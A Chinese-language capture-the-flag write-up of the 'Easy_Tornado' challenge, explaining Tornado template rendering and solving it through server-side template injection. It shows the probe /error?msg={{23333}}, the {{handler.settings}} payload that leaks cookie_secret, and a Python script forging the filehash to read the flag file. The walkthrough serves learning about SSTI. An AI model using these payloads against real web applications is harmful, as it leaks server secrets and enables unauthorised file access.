Easy_Tornado

       
-------------已经到底啦!-------------
 

Tornado:python编写的web服务器兼web应用框架

打开靶机发现有三个文件

flag.txt

welcome.txt

[render]{.green}是python中的一个渲染函数 渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

  1. render方法的实质就是生成template模板;
  2. 通过调用一个方法来生成,而这个方法是通过render方法的参数传递给它的;
  3. 这个方法有三个参数,分别提供标签名,标签相关属性,标签内部的html内容
  4. 通过这三个参数,可以生成一个完整的木模板

render函数介绍
模板self.render

hints.txt

由flag.txt知filename=/fllllllllllllag,现在只要知道cookie_secret是多少就能写payload拿取flag.

由已知3个文件格式推测payload格式可能为

file?filename=/fllllllllllllag&filehash=xxxxxxx

我先随便输入一个尝试一下,测试完后发现有error界面,还有/error?msg=Error

见识不够,看了wp知道是服务端模板注入攻击SSTI

1
/error?msg={{23333}}


界面回显也是23333.那肯定是要我们在双括号中键入什么了

之前遇见过一次SSTI所以知道双括号应该是固定的写法,但至于为什么没有深究,在Tornado官方文档中看到
模板表达式被双花括号包围;内容可以是任何python表达式,它将根据当前的自动转义设置进行转义并插入到输出中。其他模板指令使用.

1
{{ ... }}{% %}{# ... #}(jinjia2语法)

渲染函数在渲染的时候,往往对用户输入的变量不做渲染,

1
即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2.因此才有了现在的模板注入漏洞.类似于SQL注入的漏洞

关于SSTI引发的真正原因是:render_template渲染函数的问题

cookie_secret在Application对象settings属性中 另外self.application.settings有一个别名

1
2
3
RequestHandler.settings

An alias for self.application.settings.

handler 指向RequestHandler(封装对请求处理的所有信息和处理方法)

而RequestHandler.settings又指向self.application.settings

于是所有handler.settings就指向RequestHandler.application.settings了!

1
/error?msg={{handler.settings}}

得到cookie_secret:036cc74f-81bc-4583-9f02-e7cdb12cfa7c

编写python脚本计算filehash值

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

def md5(s):
md5 = hashlib.md5(s.encode('utf-8')).hexdigest()
return md5

def filehash():
filename = '/fllllllllllllag'
cookie_secret = '036cc74f-81bc-4583-9f02-e7cdb12cfa7c'
print(md5(cookie_secret+md5(filename)))

if __name__ == '__main__':
filehash()

filehash=bd130d4511c341d7397c50a7f1f10c77

payload

1
file?filename=/fllllllllllllag&filehash=bd130d4511c341d7397c50a7f1f10c77

得到flag